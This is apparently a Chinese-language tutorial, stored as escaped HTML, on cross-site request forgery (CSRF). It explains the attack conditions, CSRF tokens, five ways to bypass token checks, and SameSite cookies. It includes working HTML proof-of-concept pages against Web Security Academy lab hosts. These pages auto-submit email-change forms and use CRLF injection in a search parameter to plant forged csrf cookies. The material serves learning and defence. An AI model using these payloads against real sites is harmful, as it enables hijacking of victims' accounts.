\u5b58\u5728\u53ef\u88ab\u5229\u7528\u7684\u64cd\u4f5c<\/p>\n<\/li>\n
\u5178\u578b\u53ef\u653b\u51fb\u64cd\u4f5c：<\/p>\n
- \n
- \n
\u4fee\u6539\u8d26\u6237\u8bbe\u7f6e（\u90ae\u7bb1\/\u5bc6\u7801）<\/p>\n<\/li>\n
- \n
\u8d44\u91d1\u8f6c\u8d26<\/p>\n<\/li>\n
- \n
\u53d1\u8868\u5185\u5bb9\/\u8bc4\u8bba<\/p>\n<\/li>\n
- \n
\u6743\u9650\u53d8\u66f4\u64cd\u4f5c<\/p>\n<\/li>\n
- \n
\u7279\u5f81：\u8fd9\u4e9b\u64cd\u4f5c\u4f1a\u6539\u53d8\u5e94\u7528\u72b6\u6001\u6216\u7528\u6237\u6570\u636e<\/p>\n<\/li>\n<\/ul>\n
2.\u57fa\u4e8eCookie\u7684\u4f1a\u8bdd\u7ba1\u7406<\/p>\n
\u653b\u51fb\u4f9d\u8d56：\u6d4f\u89c8\u5668\u4f1a\u81ea\u52a8\u643a\u5e26\u76ee\u6807\u7ad9\u70b9\u7684Cookie<\/p>\n
3.\u6ca1\u6709\u4e0d\u53ef\u9884\u6d4b\u7684\u8bf7\u6c42\u53c2\u6570<\/p>\n
\u6ee1\u8db3\u4ee5\u4e0a\u4e09\u4e2a\u6761\u4ef6\u540e，\u653b\u51fb\u8005\u53ef\u4ee5\u6784\u5efa\u5982\u4e0b\u7f51\u9875<\/p>\n
<html>
\n \u00a0 <body>
\n \u00a0 \u00a0 \u00a0 <form action="https:\/\/vulnerable-website.com\/email\/change" method="POST">
\n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 <input type="hidden" name="email" value="pwned@evil-user.net" \/>
\n \u00a0 \u00a0 \u00a0 <\/form>
\n \u00a0 \u00a0 \u00a0 <script>
\n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 document.forms[0].submit();
\n \u00a0 \u00a0 \u00a0 <\/script>
\n \u00a0 <\/body>
\n<\/html>
\n\u200b
\n\u200b
\n\u8868\u5355\u5143\u7d20
\n<form> \u6807\u7b7e
\n \u00a0 \u5c5e\u6027\u89e3\u6790：
\n \u00a0 \u00a0 \u00a0 \u00a0action="https:\/\/vulnerable-website.com\/email\/change"
\n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u4f5c\u7528：\u6307\u5b9a\u8868\u5355\u63d0\u4ea4\u7684\u76ee\u6807URL
\n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u5b89\u5168\u610f\u4e49：\u6307\u5411\u5b58\u5728CSRF\u6f0f\u6d1e\u7684\u7aef\u70b9
\n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u5178\u578b\u5408\u6cd5\u7528\u6cd5：\u5e94\u6307\u5411\u81ea\u5df1\u7684\u57df\u540d\u6216\u5df2\u9a8c\u8bc1\u7684\u5b89\u5168\u7aef\u70b9
\n \u00a0 \u00a0 \u00a0 \u00a0method="POST"
\n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u4f5c\u7528：\u6307\u5b9aHTTP\u8bf7\u6c42\u65b9\u6cd5
\n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u5b89\u5168\u610f\u4e49：POST\u65b9\u6cd5\u6bd4GET\u66f4\u9690\u853d\u4f46\u4ecd\u53ef\u88abCSRF\u5229\u7528
\n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u9632\u5fa1\u5efa\u8bae：\u5373\u4f7f\u4f7f\u7528POST\u4e5f\u9700\u8981CSRF\u9632\u62a4
\n<input> \u6807\u7b7e
\n \u00a0 \u5c5e\u6027\u89e3\u6790：
\n \u00a0 \u00a0 \u00a0 \u00a0type="hidden"
\n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u4f5c\u7528：\u521b\u5efa\u4e0d\u53ef\u89c1\u7684\u8f93\u5165\u5b57\u6bb5
\n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u5b89\u5168\u610f\u4e49：\u5e38\u7528\u4e8e\u5b58\u50a8\u4e0d\u5e94\u88ab\u7528\u6237\u4fee\u6539\u7684\u6570\u636e，\u4f46\u653b\u51fb\u8005\u53ef\u8f7b\u6613\u67e5\u770b\u548c\u4fee\u6539
\n \u00a0 \u00a0 \u00a0 \u00a0name="email"
\n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u4f5c\u7528：\u5b9a\u4e49\u53c2\u6570\u7684\u540d\u79f0
\n \u00a0 \u00a0 \u00a0 \u00a0value="pwned@evil-user.net"
\n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u4f5c\u7528：\u8bbe\u7f6e\u5b57\u6bb5\u7684\u9ed8\u8ba4\u503c
\n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u653b\u51fb\u7528\u9014：\u9884\u8bbe\u4e3a\u653b\u51fb\u8005\u63a7\u5236\u7684\u90ae\u7bb1\u5730\u5740
\n3. \u811a\u672c\u5143\u7d20
\n<script> \u6807\u7b7e
\n \u00a0 \u4f5c\u7528：\u5305\u542b\u6216\u5f15\u7528JavaScript\u4ee3\u7801
\n \u00a0 \u4ee3\u7801\u89e3\u6790：
\ndocument.forms[0].submit();
\n \u00a0 document.forms[0]：\u83b7\u53d6\u6587\u6863\u4e2d\u7684\u7b2c\u4e00\u4e2a\u8868\u5355
\n \u00a0 .submit()：\u81ea\u52a8\u63d0\u4ea4\u8868\u5355
\n \u00a0 \u653b\u51fb\u7528\u9014：\u65e0\u9700\u7528\u6237\u4ea4\u4e92\u5373\u53ef\u89e6\u53d1\u8868\u5355\u63d0\u4ea4 <\/p>\n\u90a3\u4e48\u5982\u679c\u53d7\u5bb3\u7528\u6237\u8bbf\u95ee\u653b\u51fb\u8005\u7684\u7f51\u9875，\u5c06\u53d1\u751f\u4ee5\u4e0b\u60c5\u51b5：<\/p>\n
- \n
- \n
\u653b\u51fb\u8005\u7684\u9875\u9762\u5c06\u89e6\u53d1\u5bf9\u6613\u53d7\u653b\u51fb\u7f51\u7ad9\u7684 HTTP \u8bf7\u6c42\u3002<\/p>\n<\/li>\n
- \n
\u5982\u679c\u7528\u6237\u767b\u5f55\u5230\u6613\u53d7\u653b\u51fb\u7684\u7f51\u7ad9，\u4ed6\u4eec\u7684\u6d4f\u89c8\u5668\u5c06\u81ea\u52a8\u5728\u8bf7\u6c42\u4e2d\u5305\u542b\u4ed6\u4eec\u7684\u4f1a\u8bdd cookie（\u5047\u8bbe\u672a\u4f7f\u7528 SameSite cookie）\u3002<\/p>\n<\/li>\n
- \n
\u6613\u53d7\u653b\u51fb\u7684\u7f51\u7ad9\u5c06\u4ee5\u6b63\u5e38\u65b9\u5f0f\u5904\u7406\u8bf7\u6c42，\u5c06\u5176\u89c6\u4e3a\u53d7\u5bb3\u7528\u6237\u53d1\u51fa\u7684\u8bf7\u6c42，\u5e76\u66f4\u6539\u4ed6\u4eec\u7684\u7535\u5b50\u90ae\u4ef6\u5730\u5740\u3002<\/p>\n<\/li>\n<\/ul>\n
\u6ce8：<\/p>\n
\u5c3d\u7ba1 CSRF \u901a\u5e38\u4e0e\u57fa\u4e8e cookie \u7684\u4f1a\u8bdd\u5904\u7406\u6709\u5173，\u4f46\u5b83\u4e5f\u51fa\u73b0\u5728\u5e94\u7528\u7a0b\u5e8f\u81ea\u52a8\u5411\u8bf7\u6c42\u6dfb\u52a0\u4e00\u4e9b\u7528\u6237\u51ed\u636e\u7684\u5176\u4ed6\u4e0a\u4e0b\u6587\u4e2d，\u4f8b\u5982 HTTP \u57fa\u672c\u8eab\u4efd\u9a8c\u8bc1\u548c\u57fa\u4e8e\u8bc1\u4e66\u7684\u8eab\u4efd\u9a8c\u8bc1\u3002<\/p>\n<\/p>\n
\u9488\u5bf9 CSRF \u7684\u5e38\u89c1\u9632\u5fa1\u63aa\u65bd<\/h4>\n
CSRF tokens<\/h5>\n
CSRF \u4ee4\u724c\u662f\u7531\u670d\u52a1\u5668\u7aef\u5e94\u7528\u7a0b\u5e8f\u751f\u6210\u5e76\u4e0e\u5ba2\u6237\u7aef\u5171\u4eab\u7684\u552f\u4e00\u3001\u79d8\u5bc6\u4e14\u4e0d\u53ef\u9884\u6d4b\u7684\u503c\u3002\u5c1d\u8bd5\u6267\u884c\u654f\u611f\u4f5c（\u4f8b\u5982\u63d0\u4ea4\u8868\u5355）\u65f6，\u5ba2\u6237\u7aef\u5fc5\u987b\u5728\u8bf7\u6c42\u4e2d\u5305\u542b\u6b63\u786e\u7684 CSRF \u4ee4\u724c，\u8fd9\u4f7f\u5f97\u653b\u51fb\u8005\u5f88\u96be\u4ee3\u8868\u53d7\u5bb3\u8005\u6784\u5efa\u6709\u6548\u7684\u8bf7\u6c42\u3002\u4e0e\u5ba2\u6237\u7aef\u5171\u4eab CSRF \u4ee4\u724c\u7684\u5e38\u89c1\u65b9\u6cd5\u662f\u5c06\u5b83\u4eec\u4f5c\u4e3a\u9690\u85cf\u53c2\u6570\u5305\u542b\u5728 HTML \u8868\u5355\u4e2d\u3002<\/p>\n
token\u5305\u542b\u8fc7\u7a0b<\/h6>\n
![\"\"](\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/02\/20260203160847-69821d8fa6ec4.png\")
<\/p>\n\u53ea\u6709\u76f4\u63a5\u8bbf\u95ee\u76ee\u6807\u9875\u9762\u624d\u80fd\u62ff\u5230token，\u800c\u53d7\u5bb3\u8005\u89e6\u53d1\u7684\u6076\u610f\u7f51\u7ad9\u6267\u884c\u7684\u662f\u76f4\u63a5\u63d0\u4ea4\u8868\u5355，\u90fd\u6ca1\u6709\u8bbf\u95ee\u76ee\u6807\u7f51\u7ad9\u83b7\u53d6token\u90a3\u4e00\u6b65\u3002<\/p>\n
\u7ed5\u8fc7\u8be5\u9632\u5fa1<\/h6>\n
\u53ef\u80fd\u7ed5\u8fc7\u8be5\u9632\u5fa1\u7684\u65b9\u6cd5：<\/p>\n
1.post–>get<\/h6>\n
\u5f53\u8bf7\u6c42\u4f7f\u7528 POST \u65b9\u6cd5\u65f6，\u67d0\u4e9b\u5e94\u7528\u7a0b\u5e8f\u4f1a\u6b63\u786e\u9a8c\u8bc1\u4ee4\u724c，\u4f46\u5728\u4f7f\u7528 GET \u65b9\u6cd5\u65f6\u8df3\u8fc7\u9a8c\u8bc1\u3002\u5728\u8fd9\u79cd\u60c5\u51b5\u4e0b，\u653b\u51fb\u8005\u53ef\u4ee5\u5207\u6362\u5230 GET \u65b9\u6cd5\u6765\u7ed5\u8fc7\u9a8c\u8bc1\u5e76\u53d1\u52a8 CSRF \u653b\u51fb\u3002<\/p>\n
2.\u5220\u9664\u4ee4\u724c<\/h6>\n
CSRF \u4ee4\u724c\u7684\u9a8c\u8bc1\u53d6\u51b3\u4e8e\u4ee4\u724c\u662f\u5426\u5b58\u5728<\/p>\n
\u67d0\u4e9b\u5e94\u7528\u7a0b\u5e8f\u5728\u4ee4\u724c\u5b58\u5728\u65f6\u6b63\u786e\u9a8c\u8bc1\u4ee4\u724c，\u4f46\u5982\u679c\u7701\u7565\u4ee4\u724c，\u5219\u8df3\u8fc7\u9a8c\u8bc1\u3002\u5728\u8fd9\u79cd\u60c5\u51b5\u4e0b，\u653b\u51fb\u8005\u53ef\u4ee5\u5220\u9664\u5305\u542b\u4ee4\u724c\u7684\u6574\u4e2a\u53c2\u6570（\u800c\u4e0d\u4ec5\u4ec5\u662f\u5176\u503c）\u4ee5\u7ed5\u8fc7\u9a8c\u8bc1\u5e76\u53d1\u52a8 CSRF \u653b\u51fb\u3002<\/p>\n
3.\u7528\u81ea\u5df1\u7684\u4ee4\u724c\u4ee3\u66ff<\/h6>\n
CSRF \u4ee4\u724c\u672a\u7ed1\u5b9a\u5230\u7528\u6237\u4f1a\u8bdd<\/p>\n
\u67d0\u4e9b\u5e94\u7528\u7a0b\u5e8f\u4e0d\u4f1a\u9a8c\u8bc1\u4ee4\u724c\u662f\u5426\u4e0e\u53d1\u51fa\u8bf7\u6c42\u7684\u7528\u6237\u5c5e\u4e8e\u540c\u4e00\u4f1a\u8bdd\u3002\u76f8\u53cd，\u5e94\u7528\u7a0b\u5e8f\u7ef4\u62a4\u5b83\u5df2\u9881\u53d1\u7684\u4ee4\u724c\u7684\u5168\u5c40\u6c60，\u5e76\u63a5\u53d7\u6b64\u6c60\u4e2d\u51fa\u73b0\u7684\u4efb\u4f55\u4ee4\u724c\u3002\u5728\u8fd9\u79cd\u60c5\u51b5\u4e0b，\u653b\u51fb\u8005\u53ef\u4ee5\u4f7f\u7528\u81ea\u5df1\u7684\u5e10\u6237\u767b\u5f55\u5e94\u7528\u7a0b\u5e8f，\u83b7\u53d6\u6709\u6548\u7684\u4ee4\u724c，\u7136\u540e\u5728 CSRF \u653b\u51fb\u4e2d\u5c06\u8be5\u4ee4\u724c\u63d0\u4f9b\u7ed9\u53d7\u5bb3\u7528\u6237\u3002<\/p>\n
4.\u7528\u81ea\u5df1\u7684csrfkey\u548c\u4ee4\u724c\u4ee3\u66ff<\/h6>\n
\u5728\u4e0a\u8ff0\u6f0f\u6d1e\u7684\u53d8\u4f53\u4e2d，\u67d0\u4e9b\u5e94\u7528\u7a0b\u5e8f\u786e\u5b9e\u5c06 CSRF \u4ee4\u724c\u7ed1\u5b9a\u5230 Cookie，\u4f46\u4e0d\u7ed1\u5b9a\u5230\u7528\u4e8e\u8ddf\u8e2a\u4f1a\u8bdd\u7684\u540c\u4e00 Cookie\u3002\u5f53\u5e94\u7528\u7a0b\u5e8f\u4f7f\u7528\u4e24\u4e2a\u4e0d\u540c\u7684\u6846\u67b6（\u4e00\u4e2a\u7528\u4e8e\u4f1a\u8bdd\u5904\u7406，\u4e00\u4e2a\u7528\u4e8e CSRF \u4fdd\u62a4）\u65f6，\u5f88\u5bb9\u6613\u53d1\u751f\u8fd9\u79cd\u60c5\u51b5，\u5b83\u4eec\u6ca1\u6709\u96c6\u6210\u5728\u4e00\u8d77\u3002\u8fd9\u79cd\u60c5\u51b5\u66f4\u96be\u5229\u7528，\u4f46\u4ecd\u7136\u5bb9\u6613\u53d7\u5230\u653b\u51fb\u3002\u5982\u679c\u7f51\u7ad9\u5305\u542b\u4efb\u4f55\u5141\u8bb8\u653b\u51fb\u8005\u5728\u53d7\u5bb3\u8005\u6d4f\u89c8\u5668\u4e2d\u8bbe\u7f6e cookie \u7684\u884c\u4e3a，\u5219\u53ef\u80fd\u4f1a\u8fdb\u884c\u653b\u51fb\u3002\u653b\u51fb\u8005\u53ef\u4ee5\u4f7f\u7528\u81ea\u5df1\u7684\u5e10\u6237\u767b\u5f55\u5e94\u7528\u7a0b\u5e8f，\u83b7\u53d6\u6709\u6548\u7684\u4ee4\u724c\u548c\u5173\u8054\u7684 cookie，\u5229\u7528 cookie \u8bbe\u7f6e\u884c\u4e3a\u5c06\u5176 cookie \u653e\u5165\u53d7\u5bb3\u8005\u7684\u6d4f\u89c8\u5668\u4e2d，\u5e76\u5728 CSRF \u653b\u51fb\u4e2d\u5c06\u5176\u4ee4\u724c\u63d0\u4f9b\u7ed9\u53d7\u5bb3\u8005\u3002<\/p>\n
POST \/email\/change HTTP\/1.1
\nHost: vulnerable-website.com
\nContent-Type: application\/x-www-form-urlencoded
\nContent-Length: 68
\nCookie: session=pSJYSScWKpmC60LpFOAHKixuFuM4uXWF; csrfKey=rZHCnSzEp8dbI6atzagGoSYyqJqTz5dv
\n\u200b
\ncsrf=RhV7yQDO0xcq9gLEah2WVbmuFqyOq7tY&email=wiener@normal-user.com <\/p>\n\u7b80\u5355\u6765\u8bf4\u5c31\u662ftoken（\u4e0a\u8ff0\u4ee3\u7801\u5757\u4e2d\u7684csrf\u5c31\u662ftoken）\u548ccookie\u4e2d\u7684csrfKey\u7ed1\u5b9a\u4e86，\u800c\u4e0d\u662f\u548ccookie\u4e2d\u7684session\u7ed1\u5b9a，\u653b\u51fb\u8005\u53ef\u4ee5\u767b\u5f55\u81ea\u5df1\u8d26\u6237\u62ff\u5230\u81ea\u5df1\u7684csrfkey\u548c\u5bf9\u5e94\u7684token，\u7136\u540e\u628a\u8fd9\u4fe9\u90fd\u641e\u5230\u53d7\u5bb3\u8005\u90a3\u91cc，\u5982\u6b64\u53d1\u9001\u8bf7\u6c42\u540e\u670d\u52a1\u5668\u9a8c\u8bc1\u7684\u662ftoken\u4e0ecsrfkey\u662f\u5426\u5339\u914d（\u800c\u4e0d\u662ftoken\u4e0esession\u662f\u5426\u5339\u914d），\u4f46\u4e8b\u5b9e\u4e0a\u8fd9\u4fe9\u867d\u7136\u90fd\u4e0d\u662f\u53d7\u5bb3\u8005\u7684，\u4f46\u7684\u786e\u5339\u914d，\u9a8c\u8bc1\u6210\u529f，\u8bf7\u6c42\u4f1a\u88ab\u6267\u884c\u3002<\/p>\n
<html>
\n \u00a0<!– CSRF PoC – generated by Burp Suite Professional –>
\n \u00a0<body>
\n \u00a0 \u00a0<form action="https:\/\/0ac800e504adfc1f89adb1a1008d0010.web-security-academy.net\/my-account\/change-email" method="POST">
\n \u00a0 \u00a0 \u00a0<input type="hidden" name="email" value="77799 @web-security-academy.net" \/>
\n \u00a0 \u00a0 \u00a0<input type="hidden" name="csrf" value="O0sMpQdzVAycIZUNhRAAEuN5OA7n7sf1" \/>
\n \u00a0 \u00a0
\n \u00a0 \u00a0<\/form>
\n \u00a0 \u00a0<img src="https:\/\/0a0f003b04965ba1812c2a6c008c002b.web-security-academy.net\/?search=test%0d%0aSet-Cookie:%20csrfKey=s3yf0fTZXTEqvdtChdOKluea6U2EAzIg%3b%20SameSite=None; Secure" \u03bfnerr\u03bfr="document.forms[0].submit()"> \u00a0 #academy\u7684\u9898，search\u67e5\u8be2\u6709\u6f0f\u6d1e，\u5c31\u8fd9\u6837\u901a\u8fc7\u5b83\u76f4\u63a5\u628a\u53d7\u5bb3\u8005\u7684cookie\u91cc\u7684csrfKey\u7ed9\u6539\u4e86，\u4e0a\u8fb9\u4ea4\u7684cookie\u548c\u8fd9\u4e2akey\u662f\u5bf9\u5e94\u7684，\u8bf7\u6c42\u6210\u529f\u3002 \u00a0 \u00a0 #\u52a0\u8f7d\u56fe\u7247\u5931\u8d25\u5c31\u81ea\u52a8\u63d0\u4ea4
\n \u00a0 \u00a0
\n \u00a0<\/body>
\n<\/html>
\n\u200b <\/p>\n5.\u540c\u65f6\u7be1\u6539\u7528\u6237body\u548ccookie\u4e2d\u7684\u4ee4\u724c<\/h6>\n
CSRF \u4ee4\u724c\u53ea\u662f\u5728 cookie \u4e2d\u590d\u5236<\/p>\n
\u5728\u4e0a\u8ff0\u6f0f\u6d1e\u7684\u8fdb\u4e00\u6b65\u53d8\u4f53\u4e2d，\u67d0\u4e9b\u5e94\u7528\u7a0b\u5e8f\u4e0d\u7ef4\u62a4\u5df2\u9881\u53d1\u4ee4\u724c\u7684\u4efb\u4f55\u670d\u52a1\u5668\u7aef\u8bb0\u5f55，\u800c\u662f\u5728 cookie \u548c\u8bf7\u6c42\u53c2\u6570\u4e2d\u590d\u5236\u6bcf\u4e2a\u4ee4\u724c\u3002\u9a8c\u8bc1\u540e\u7eed\u8bf7\u6c42\u65f6，\u5e94\u7528\u7a0b\u5e8f\u53ea\u9700\u9a8c\u8bc1\u5728\u8bf7\u6c42\u53c2\u6570\u4e2d\u63d0\u4ea4\u7684\u4ee4\u724c\u662f\u5426\u4e0e cookie \u4e2d\u63d0\u4ea4\u7684\u503c\u5339\u914d\u3002\u8fd9\u6709\u65f6\u88ab\u79f0\u4e3a\u9488\u5bf9 CSRF \u7684\u201c\u53cc\u91cd\u63d0\u4ea4\u201d\u9632\u5fa1，\u4e4b\u6240\u4ee5\u63d0\u5021，\u662f\u56e0\u4e3a\u5b83\u6613\u4e8e\u5b9e\u73b0\u5e76\u4e14\u907f\u514d\u4e86\u4efb\u4f55\u670d\u52a1\u5668\u7aef\u72b6\u6001：<\/p>\n
POST \/email\/change HTTP\/1.1 Host: vulnerable-website.com Content-Type: application\/x-www-form-urlencoded Content-Length: 68 Cookie: session=1DQGdzYbOJQzLP7460tfyiv3do7MjyPw; csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa&email=wiener@normal-user.com <\/p>\n
\u5728\u8fd9\u79cd\u60c5\u51b5\u4e0b，\u5982\u679c\u7f51\u7ad9\u5305\u542b\u4efb\u4f55 cookie \u8bbe\u7f6e\u529f\u80fd，\u653b\u51fb\u8005\u53ef\u4ee5\u518d\u6b21\u6267\u884c CSRF \u653b\u51fb\u3002\u5728\u8fd9\u91cc，\u653b\u51fb\u8005\u4e0d\u9700\u8981\u83b7\u53d6\u81ea\u5df1\u7684\u6709\u6548\u4ee4\u724c\u3002\u4ed6\u4eec\u53ea\u662f\u53d1\u660e\u4e00\u4e2a\u4ee4\u724c（\u5982\u679c\u6b63\u5728\u68c0\u67e5\u7684\u8bdd，\u4e5f\u8bb8\u662f\u6240\u9700\u7684\u683c\u5f0f），\u5229\u7528 cookie \u8bbe\u7f6e\u884c\u4e3a\u5c06\u4ed6\u4eec\u7684 cookie \u653e\u5165\u53d7\u5bb3\u8005\u7684\u6d4f\u89c8\u5668\u4e2d，\u5e76\u5728\u4ed6\u4eec\u7684 CSRF \u653b\u51fb\u4e2d\u5c06\u4ed6\u4eec\u7684\u4ee4\u724c\u63d0\u4f9b\u7ed9\u53d7\u5bb3\u8005\u3002<\/p>\n
\u7b80\u5355\u6765\u8bf4\u5c31\u662f\u7528\u6237\u63d0\u4ea4\u8bf7\u6c42\u65f6cookie\u91cc\u5e26\u4e2a\u4ee4\u724c（csrf），body\u91cc\u4e5f\u5e26\u4e00\u4e2a\u4ee4\u724c，\u5b8c\u4e8b\u670d\u52a1\u5668\u9a8c\u8bc1\u4e00\u4e0b\u8fd9\u4fe9\u4ee4\u724c\u4e00\u4e0d\u4e00\u6837，\u4e00\u6837\u5c31\u9a8c\u8bc1\u901a\u8fc7\u3002\u800c\u653b\u51fb\u8005\u90fd\u4e0d\u7528\u767b\u81ea\u5df1\u53f7\u83b7\u5f97key\u548c\u4ee4\u724c\u4e86，ta\u76f4\u63a5\u628a\u53d7\u5bb3\u8005cookie\u548cbody\u91cc\u7684\u4ee4\u724c\u5168\u6539\u4e86（\u968f\u4fbf\u6539\u6210\u4ec0\u4e48\u53ea\u8981\u4e24\u4e2a\u4e00\u6837\u5c31\u884c），\u8bf7\u6c42\u5c31\u80fd\u901a\u8fc7\u4e86\u3002<\/p>\n
<html>
\n \u00a0<!– CSRF PoC – generated by Burp Suite Professional –>
\n \u00a0<body>
\n \u00a0 \u00a0<form action="https:\/\/0a32000a0341668c80a20343007c00b5.web-security-academy.net\/my-account\/change-email" method="POST">
\n \u00a0 \u00a0 \u00a0<input type="hidden" name="email" value="wiener@normal-user.net" \/>
\n \u00a0 \u00a0 \u00a0<input type="hidden" name="csrf" value="fake" \/> #\u7ed9\u4eba\u5bb6\u6539\u6210fake\u4e86
\n \u00a0 \u00a0 \u00a0<input type="submit" value="Submit request" \/>
\n \u00a0 \u00a0<\/form>
\n \u00a0 \u00a0<img src="https:\/\/0a32000a0341668c80a20343007c00b5.web-security-academy.net\/?search=test%0d%0aSet-Cookie:%20csrf=fake%3b%20SameSite=None" \u03bfnerr\u03bfr="document.forms[0].submit();"\/> \u00a0 \u00a0 \u00a0 #\u8fd9\u4e5f\u6539\u6210fake，\u4fe9\u4e00\u6837，\u901a\u8fc7，\u65e2\u4e0d\u7528\u77e5\u9053\u53d7\u5bb3\u8005\u672c\u6765\u7684\u4ee4\u724c，\u4e5f\u4e0d\u7528\u627e\u81ea\u5df1\u7684\u4ee4\u724c\u548ckey\u53bb\u53d6\u4ee3
\n \u00a0<\/body>
\n<\/html>
\n\u200b <\/p>\nSameSite Cookie<\/h5>\n
SameSite \u662f\u4e00\u79cd\u6d4f\u89c8\u5668\u5b89\u5168\u673a\u5236，\u7528\u4e8e\u786e\u5b9a\u4f55\u65f6\u5c06\u7f51\u7ad9\u7684 Cookie \u5305\u542b\u5728\u6765\u81ea\u5176\u4ed6\u7f51\u7ad9\u7684\u8bf7\u6c42\u4e2d\u3002\u7531\u4e8e\u6267\u884c\u654f\u611f\u4f5c\u7684\u8bf7\u6c42\u901a\u5e38\u9700\u8981\u7ecf\u8fc7\u8eab\u4efd\u9a8c\u8bc1\u7684\u4f1a\u8bdd Cookie，\u56e0\u6b64\u9002\u5f53\u7684 SameSite \u9650\u5236\u53ef\u80fd\u4f1a\u963b\u6b62\u653b\u51fb\u8005\u8de8\u7ad9\u70b9\u89e6\u53d1\u8fd9\u4e9b\u4f5c\u3002\u81ea 2021 \u5e74\u8d77，Chrome \u9ed8\u8ba4\u5f3a\u5236\u5b9e\u65bdLax SameSite \u9650\u5236\u3002\u7531\u4e8e\u8fd9\u662f\u62df\u8bae\u7684\u6807\u51c6，\u6211\u4eec\u9884\u8ba1\u5176\u4ed6\u4e3b\u8981\u6d4f\u89c8\u5668\u5c06\u6765\u4e5f\u4f1a\u91c7\u7528\u8fd9\u79cd\u884c\u4e3a\u3002<\/p>\n
SameSite\u7684\u4e09\u79cd\u6a21\u5f0f<\/h6>\n
\n
\u6a21\u5f0f\u8de8\u7ad9\u8bf7\u6c42\u643a\u5e26Cookie\u89c4\u5219\u9002\u7528\u573a\u666f<\/tr>\n \n\n Strict<\/td>\n \u5b8c\u5168\u7981\u6b62\u8de8\u7ad9\u643a\u5e26<\/td>\n \u6781\u9ad8\u654f\u611f\u64cd\u4f5c(\u5982\u94f6\u884c\u8f6c\u8d26)<\/td>\n<\/tr>\n \n Lax<\/td>\n \u4ec5\u5141\u8bb8\u9876\u7ea7\u5bfc\u822a\u7684GET\u8bf7\u6c42\u643a\u5e26(\u9ed8\u8ba4\u503c)<\/td>\n \u5e73\u8861\u5b89\u5168\u4e0e\u7b2c\u4e09\u65b9\u96c6\u6210\u9700\u6c42<\/td>\n<\/tr>\n \n None<\/td>\n \u5141\u8bb8\u6240\u6709\u8de8\u7ad9\u643a\u5e26(\u5fc5\u987b\u914d\u5408Secure\u5c5e\u6027)<\/td>\n \u9700\u8981\u8de8\u7ad9\u529f\u80fd\u7684\u573a\u666f(\u5982\u5355\u70b9\u767b\u5f55)<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n （\u5982\u679c\u53d1\u5e03 Cookie \u7684\u7f51\u7ad9\u672a\u660e\u786e\u8bbe\u7f6eSameSite\u5c5e\u6027，Chrome \u4f1a\u9ed8\u8ba4\u81ea\u52a8\u5e94\u7528Lax\u9650\u5236\u3002）<\/p>\n
Lax\u643a\u5e26cookie\u6761\u4ef6：\u4f7f\u7528GET\u65b9\u6cd5\u53d1\u8d77\u7684\u8bf7\u6c42；\u8be5\u8bf7\u6c42\u662f\u7531\u7528\u6237\u8fdb\u884c\u9876\u7ea7\u5bfc\u822a（\u4f8b\u5982\u5355\u51fb\u94fe\u63a5）\u4ea7\u751f\u7684（\u540e\u53f0\u8bf7\u6c42\u5982\u7531\u811a\u672c\u3001iframe \u6216\u5bf9\u56fe\u50cf\u548c\u5176\u4ed6\u8d44\u6e90\u7684\u5f15\u7528\u53d1\u8d77\u7684\u8bf7\u6c42，\u4e0d\u643a\u5e26cookie）\u3002<\/p>\n
\u5f53samesite\u88ab\u8bbe\u7f6e\u4e3anone\u65f6，\u8981\u6c42cookie\u5e26\u4e0asecure\u5c5e\u6027，\u5373\u53ea\u80fd\u5728https\u534f\u8bae\u4e2d\u53d1\u9001\u3002<\/p>\n
\u7ad9\u70b9\u548c\u6e90\u7684\u533a\u522b<\/h6>\n
\u200b
\n\u7ad9\u70b9：<\u4e00\u7ea7\u57df\u540d>.<\u9876\u7ea7\u57df\u540d>，\u5373 TLD（\u9876）+1（\u4e00）\u3002
\n\u200b
\nTLD\u5305\u62ec：
\n\u200b
\n\u2022 \u7eafTLD：`.com`\u3001`.net` \u7b49
\n\u200b
\n\u2022 \u56fd\u5bb6\u4ee3\u7801TLD：`.co.uk`\u3001`.com.cn` \u7b49（\u9700\u6574\u4f53\u4f7f\u7528）
\n\u200b
\n\u2022 \u516c\u5171\u540e\u7f00（eTLD）：`.github.io`\u3001`.blogspot.com` \u7b49（\u5e73\u53f0\u4e13\u7528）
\n\u200b
\n| URL A \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 | URL B \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 | \u662f\u5426\u540c\u7ad9 |
\n| ————————– | ————————- | ——– |
\n| `https:\/\/example.com` \u00a0 \u00a0 | `http:\/\/example.com` \u00a0 \u00a0 | \u2705 \u662f \u00a0 \u00a0 |
\n| `https:\/\/example.com:443` | `https:\/\/example.com:444` | \u2705 \u662f \u00a0 \u00a0 |
\n| `https:\/\/shop.example.com` | `https:\/\/pay.example.com` | \u2705 \u662f \u00a0 \u00a0 |
\n| `https:\/\/a.github.io` \u00a0 \u00a0 | `https:\/\/b.github.io` \u00a0 \u00a0 | \u274c \u5426 \u00a0 \u00a0 |
\n\u200b
\n\u6e90：<\u534f\u8bae>:\/\/<\u57df\u540d>:<\u7aef\u53e3>
\n\u200b
